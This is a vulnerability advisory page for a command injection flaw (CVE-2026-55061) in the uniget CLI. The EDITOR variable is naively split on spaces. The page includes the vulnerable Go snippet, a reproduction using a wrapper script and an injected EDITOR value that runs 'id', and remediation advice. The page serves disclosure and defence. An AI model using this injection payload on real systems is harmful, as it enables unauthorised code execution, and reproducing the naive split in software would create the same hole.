uniget CLI CVE-2026-55061
MEDIUMSeverity by source
Local vector because EDITOR control requires local session or environment access; PR:L for user-level env manipulation; UI:R since victim must run hooks edit.
Lifecycle Timeline
2DescriptionCVE.org
Summary
The uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, " ")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.
Vulnerable Code:
editorWithArgs := strings.Split(editor, " ")Location Context:
editor := os.Getenv("UNIGET_EDITOR")
if len(editor) == 0 {
editor = os.Getenv("EDITOR")
}
editorWithArgs := strings.Split(editor, " ") // ← VULNERABLE
command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)Issue: Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution.
Step to Reproduce
Step 1: Create malicious editor wrapper
mkdir -p /tmp/poc-editor
cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'
#!/bin/bash
echo "[EDITOR] Received args: $@"
id
EOF
chmod +x /tmp/poc-editor/editor_wrapper.shStep 2: Create test hook
mkdir -p ~/.config/uniget/hooks/pre-install
cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'
#!/bin/bash
echo "Test hook"
EOF
chmod 700 ~/.config/uniget/hooks/pre-install/test.shStep 3: Set injection payload
export EDITOR="/tmp/poc-editor/editor_wrapper.sh && id && echo"Step 4: Run vulnerable code
cd /home/w4nn4d13/Downloads/cli
go build -o uniget ./cmd/uniget
./uniget hooks edit --type=pre-install test.shStep 5: Observe output
[EDITOR] Received args: && id && echo /path/to/hook
uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)<img width="1017" height="449" alt="image" src="https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce" />
AnalysisAI
Command injection in uniget CLI's hook editing feature enables arbitrary code execution via a maliciously crafted EDITOR environment variable. The hooks edit subcommand reads the UNIGET_EDITOR or EDITOR environment variable and splits it on whitespace using Go's strings.Split(), causing embedded shell metacharacters such as && to be passed as discrete exec arguments that downstream shell-backed editor wrappers then interpret as command separators. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires two concurrent conditions: (1) the attacker must control the value of the EDITOR or UNIGET_EDITOR environment variable within the victim's process environment - achievable via shared shell initialization files, sudo configurations that preserve the EDITOR variable, CI/CD pipelines where build parameters influence environment, or direct local session access; and (2) the victim must invoke the `uniget hooks edit` subcommand, the sole code path that reads and splits the editor variable. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | No NVD CVSS score was available at time of analysis; independent assessment places this at approximately CVSS 3.1 7.3 (High) given a local attack vector, low complexity, low-privilege requirement, required user interaction, and high confidentiality/integrity/availability impact on the victim's user context. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade uniget CLI to version 0.27.6 or later, available at https://github.com/uniget-org/cli/releases/tag/v0.27.6. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Vendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-qmcq-xw74-w667